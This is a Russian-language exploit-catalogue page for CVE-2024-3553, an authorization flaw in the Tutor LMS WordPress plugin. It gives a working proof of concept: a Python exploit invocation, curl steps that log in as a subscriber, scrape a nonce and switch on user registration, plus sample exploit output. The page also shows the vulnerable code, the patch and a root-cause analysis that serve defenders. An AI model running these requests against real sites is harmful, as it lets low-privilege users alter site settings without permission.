Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - Отсутствие авторизации, позволяющее аутентифицированным злоумышленникам включить регистрацию пользователей | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2024-3553
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Отсутствие авторизации, позволяющее аутентифицированным злоумышленникам включить регистрацию пользователей

Репозиторий
139 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-3553

Tutor LMS <= 2.6.2 - Отсутствие проверки прав доступа, позволяющее неавторизованное ограниченное обновление опций

Плагин Tutor LMS – eLearning and online course solution для WordPress уязвим к несанкционированной модификации данных из-за отсутствия проверки прав доступа в функции hide_notices() во всех версиях до 2.6.2 включительно. Это позволяет аутентифицированным атакующим (включая пользователей с низкими привилегиями, таких как подписчики) включать регистрацию пользователей на сайтах, где она могла быть отключена администраторами.

Детали

  • Тип: плагин
  • Slug: tutor
  • Затронутая версия: 2.6.2
  • Оценка CVSS: 6.5
  • Уровень CVSS: Средний
  • Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • Статус: Активен

POC

Автоматическая эксплуатация

Полный эксплойт на Python доступен: exploit-cve-2024-3553-v2.py

# Полная автоматическая эксплуатация
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# Только проверка статуса регистрации
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

Ручная эксплуатация

Предварительные требования:

  • Любая аутентифицированная учётная запись (подписчик, автор и т.д.)
  • Плагин Tutor LMS установлен и активирован

Шаг 1: Войти как пользователь с низкими привилегиями

# Войти как подписчик или любой аутентифицированный пользователь
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

Шаг 2: Извлечь nonce из панели администратора

# Любой аутентифицированный пользователь может получить доступ к /wp-admin/ (даже подписчики)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

Шаг 3: Выполнить эксплойт

# Отправить запрос на включение регистрации пользователей
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

Шаг 4: Проверить успешность

# Проверить, включена ли теперь регистрация
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Регистрация ВКЛЮЧЕНА" || echo "Регистрация ОТКЛЮЧЕНА"

Односрочная эксплуатация

# Любой аутентифицированный пользователь может просто посетить:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

Пример вывода

======================================================================
CVE-2024-3553 Эксплойт - Отсутствие авторизации в Tutor LMS
Цель: https://target.com
======================================================================

[*] Проверка текущего статуса регистрации...
[+] Регистрация в настоящее время ОТКЛЮЧЕНА

[*] Попытка входа как: subscriber
[+] Успешно вошли как: subscriber

[*] Шаг 2: Извлечение nonce из панели администратора...
[+] Найден nonce: abc123def456

[*] Шаг 3: Выполнение эксплойта для включения регистрации пользователей...
[*] Цель: https://target.com
[*] Используется nonce: abc123def456
[*] URL эксплойта: https://target.com/wp-admin/index.php
[*] Параметры: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Статус ответа: 200
[+] Запрос эксплойта успешно отправлен!

[*] Шаг 4: Проверка успешности эксплуатации...
[+] Регистрация в настоящее время ВКЛЮЧЕНА

======================================================================
[!] ЭКСПЛУАТАЦИЯ УСПЕШНА!
[!] Регистрация пользователей теперь ВКЛЮЧЕНА
[!]
[!] Воздействие: Атакующий с учётной записью с низкими привилегиями (подписчик)
[!] смог включить регистрацию пользователей на сайте, где она была
[!] отключена. Это может позволить создание дополнительных учётных записей,
[!] потенциально ведущее к спаму или несанкционированному доступу.
======================================================================

Уязвимый код

Файл: /classes/User.php (строки ~800-815)

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // NO CAPABILITY CHECK - Any authenticated user can execute this!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Ключевые точки уязвимости:

  1. is_admin() проверяет только то, что запрос направлен к странице администратора, НЕ то, что пользователь является администратором
  2. Любой аутентифицированный пользователь может получить доступ к /wp-admin/ (даже подписчики)
  3. Проверка nonce подтверждает, что запрос является преднамеренным, НО не проверяет наличие соответствующих разрешений
  4. Отсутствует: проверка возможности current_user_can('manage_options')
  5. Это позволяет любому аутентифицированному пользователю изменить опцию users_can_register

Патч (v2.7.0)

Файл: /classes/User.php (исправленная версия)

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // SECURITY FIX: Added capability check
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Now properly protected
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Патч добавляет current_user_can('manage_options') для проверки наличия привилегий администратора у пользователя перед разрешением обновления опции.

Воздействие

  • Средняя серьёзность: Хотя это не приводит к прямой компрометации сайта, уязвимость позволяет:
    • Обходить административные средства управления
    • Включать регистрацию пользователей на защищённых/частных сайтах
    • Потенциальное создание спам-аккаунтов
    • Обход политик безопасности сайта
    • Несанкционированное изменение конфигурации сайта

Анализ первопричины

Распространённая ошибка безопасности в WordPress

Эта уязвимость демонстрирует критическое непонимание функций авторизации WordPress:

НЕПРАВИЛЬНО ❌:

if ( is_admin() ) {
    // Думая, что это означает "пользователь является администратором"
    update_option( 'sensitive_option', $value );
}

ПРАВИЛЬНО ✅:

if ( current_user_can( 'manage_options' ) ) {
    // Действительно проверяет, есть ли у пользователя административные возможности
    update_option( 'sensitive_option', $value );
}

Сравнение функций

ФункцияЧто на самом деле проверяетИспользование для безопасности
is_admin()Находится ли текущий URL в /wp-admin/❌ НЕ для авторизации
current_user_can()Есть ли у пользователя определённая возможность✅ Правильная авторизация
wp_verify_nonce()Является ли запрос преднамеренным (защита CSRF)✅ Но недостаточно сама по себе

Требуется многоуровневая защита

Правильная безопасность WordPress требует нескольких уровней:

Скачать инструмент